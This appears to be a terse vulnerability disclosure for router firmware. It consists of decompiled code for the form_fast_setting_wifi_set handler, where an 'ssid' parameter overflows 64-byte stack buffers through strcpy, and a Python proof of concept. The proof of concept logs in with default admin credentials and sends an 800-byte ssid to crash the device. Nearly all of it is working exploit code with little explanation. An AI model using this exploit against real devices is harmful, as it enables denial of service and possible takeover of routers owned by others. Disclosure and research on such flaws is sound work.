

```
undefined4 local 268;
undefined4 local 264;
undefined4 local 260;
undefined4 local 25c;
char acStack600 [4];
char acStack596 [4];
char acStack256 [64];
char acStack192 [64];
char acStack128 [64];
undefined local 40 [12];
undefined4 local 34;
char *local 30;
char *local 2c;
char *local 28;
char *local 24;
char *local 20;
int local 1c;
int local 18;
undefined4 local_14;
local 34 = 0;
memset(acStack128,0,0x40);
memset(acStack192,0,0x40);
memset(acStack256,0,0x40);
local_14 = 1;
. . .
local 20 = (char *)FUN 0002ba8c(param 1, "ssid", &DAT 000e378c);
if (*local_20 == '\0') {
  printf("%s [%d] no ssid set, just return.\n", "form_fast_setting_wifi_set",0x444)
 uVar1 = FUN_0002be4c(param_1,"login.html");
}
else {
  strcpy(acStack128,local 20); // here is overflow
  strcpy(acStack192,local_20); // here is overflow
  local_24 = (char *)FUN_0002ba8c(param_1,"wrlPassword",&DAT_000e378c);
 SetValue("wl2g.ssid0.ssid",acStack128);
  sVar2 = strlen(acStack192);
 memcpy(acStack192 + sVar2,&DAT_000e38b8,4);
  SetValue("wl5g.ssid0.ssid",acStack192);
  SetValue("wl2g_bss_ssid_old",acStack128);
 SetValue("wl5g_bss_ssid_old",acStack192);
 if (*local_24 == '\0') {
    SetValue("wl2g.ssid0.security",&DAT 000e3908);
    SetValue("wl5g.ssid0.security",&DAT_000e3908);
  }
 else {
    SetValue("wl2g.ssid0.security","wpapsk");
    SetValue("wl5g.ssid0.security","wpapsk");
    SetValue("wl2g.ssid0.wpapsk_psk",local_24);
```

```
SetValue("wl5g.ssid0.wpapsk_psk",local_24);
}
SetValue("ali.reset.cfg",&DAT_000e34e4);
memset(local_40,0,9);
local_40[0] = 2;
tpi_talk_to_kernel(9,local_40,&local_34,0,0,0);
SetValue("fast.seting.red",&DAT_000e34e4);
...
}
```

* POC

```
import requests

cmd = b'ssid=' + b'A' * 800

url = b"http://192.168.2.2/login/Auth"
payload = b"http://192.168.2.2/goform/fast_setting_wifi_set/?" + cmd

data = {
    "username": "admin",
    "password": "admin",
}

def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
    print(resp.content)

attack()
```